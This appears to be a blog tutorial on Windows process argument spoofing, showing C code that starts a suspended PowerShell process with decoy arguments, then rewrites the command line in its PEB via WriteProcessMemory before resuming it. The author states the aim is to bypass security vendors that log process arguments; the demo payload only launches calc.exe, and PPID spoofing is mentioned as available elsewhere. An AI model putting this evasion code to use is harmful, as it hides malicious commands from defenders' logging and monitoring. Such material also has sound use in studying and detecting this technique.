Process Argument Spoofing

powershell.exe -c echo "I am safe :)"

Theory

First we create a process in suspended state with fake arguments (this should be at least as long as the actual argument we want to run), then we get its PEB and update the ProcessParamters structure in it, specifically the CommandLine.Buffer & CommandLine.Length, after which we will resume the process, and it will execute our actual argument. This helps us bypass vendors that log what the arguments are given to the process as we update the argument after it has been created.

Argument Spoofing

First we will create a process in suspended state. Note that we would have to give the fake arguments to this suspended process. We can give the arguments through the CreateProcess api.

LPSTR fakeArgs = "powershell.exe -c Write-Host 'Args faked ?'"; 
CreateProcessA(NULL, fakeArgs, NULL, NULL, FALSE, (CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT), NULL, "C:\\Windows\\System32", &si_ex.StartupInfo, &pi)) 

An Importante thing to note here is that the fake arguments should almost always be ≥ the real arguments. This is because whenever a process is created, there is limited memory allocated to the CommandLine.Buffer. If the Actual args are greater than the fake ones, you might overwrite the buffer and crash the process.

Then we just need to get to the PEB of that process, and from there we will get to the ProcessParameters structure and eventually the CommandLine.Buffer & CommandLine.Length.

STATUS = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &dwRet)

pPEB = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PEB));
ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, (PVOID*)pPEB, sizeof(PEB), &szBytes)

pParams = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(RTL_USER_PROCESS_PARAMETERS));
ReadProcessMemory(pi.hProcess, pPEB->ProcessParameters, pParams, sizeof(RTL_USER_PROCESS_PARAMETERS), &szBytes)

Now we have read the ProcessParameters structure, we just need to get the CommandLine.Buffer. This is at the offset of 0x70 from it.

// We need to convert it to UNICODE, that's just how Windows work internally
LPSTR faikArgs = "powershell.exe -c Write-Host 'Args faked ?'"; 
LPCWSTR RealArgs = L"powershell.exe -NoExit calc.exe";

WCHAR spoofed[MAX_PATH];
wcscpy_s(spoofed, MAX_PATH, RealArgs);
WriteProcessMemory(pi.hProcess, (PVOID)pParams->CommandLine.Buffer, (PVOID)spoofed, (wcslen(spoofed) + 1) * sizeof(WCHAR), &szBytes)

//DWORD dwCorrectLength = strlen(faikArgs);
// sizeof(faikArgs) = 8 , idk why it was acting weird when I hardcoded 10, 
// it was showing full length in process hacker
// It's best to use unicode for both fake & real args
// I'll update on this weird behavior later after more testing & searching
// This below did only print till "powershell.exe" , since * 2 gives ~ unicode length
DWORD dwCorrectLength = 28;

LPVOID lpCmdLength = (PBYTE)pPEB->ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length);
WriteProcessMemory(pi.hProcess, lpCmdLength, &dwCorrectLength, sizeof(DWORD), &szBytes)

And that's it, we have updated the command line with the actual one, and also the length as well. If I know look at it through process hacker, I see only till the powershell.exe, and it spawns a calc.

Seeing the fake args, before it has been updated

For some reason, I had troubles with reading the Command Line, if I look at it before my code updates it, it stays the same no matter the length I give in Process Hacker. But doing the same behavior in Process Explorer doesn't lead to similar results, I actually see the updated command line.

I did some debugging and first thought that Process Hacker looks at the Parameters once (when we look at the properties), but it seems that I was wrong (weird because it was working earlier?) but my only guess is that maybe it looks at them once at the time of creation of process, which explains why it just doesn't update. Whereas, Process Explorer may query and get the Process Parameters everytime I look at the properties, which is always the better approach.

Process Explorer showing the updated command line

The calc.exe dies soon and another calculatorapp process spawns, but if we look at it (calc.exe) quickly, we can see that its PPID is the powershell we created.

Thank you.

I'll update more details later (after some more testing). For now, I have the full code which includes the PPID Spoofing as well, on my github so you can check that out if you want. I'm thinking to write more in Rust so maybe in my next post, I will be using Rust.

Last updated

Was this helpful?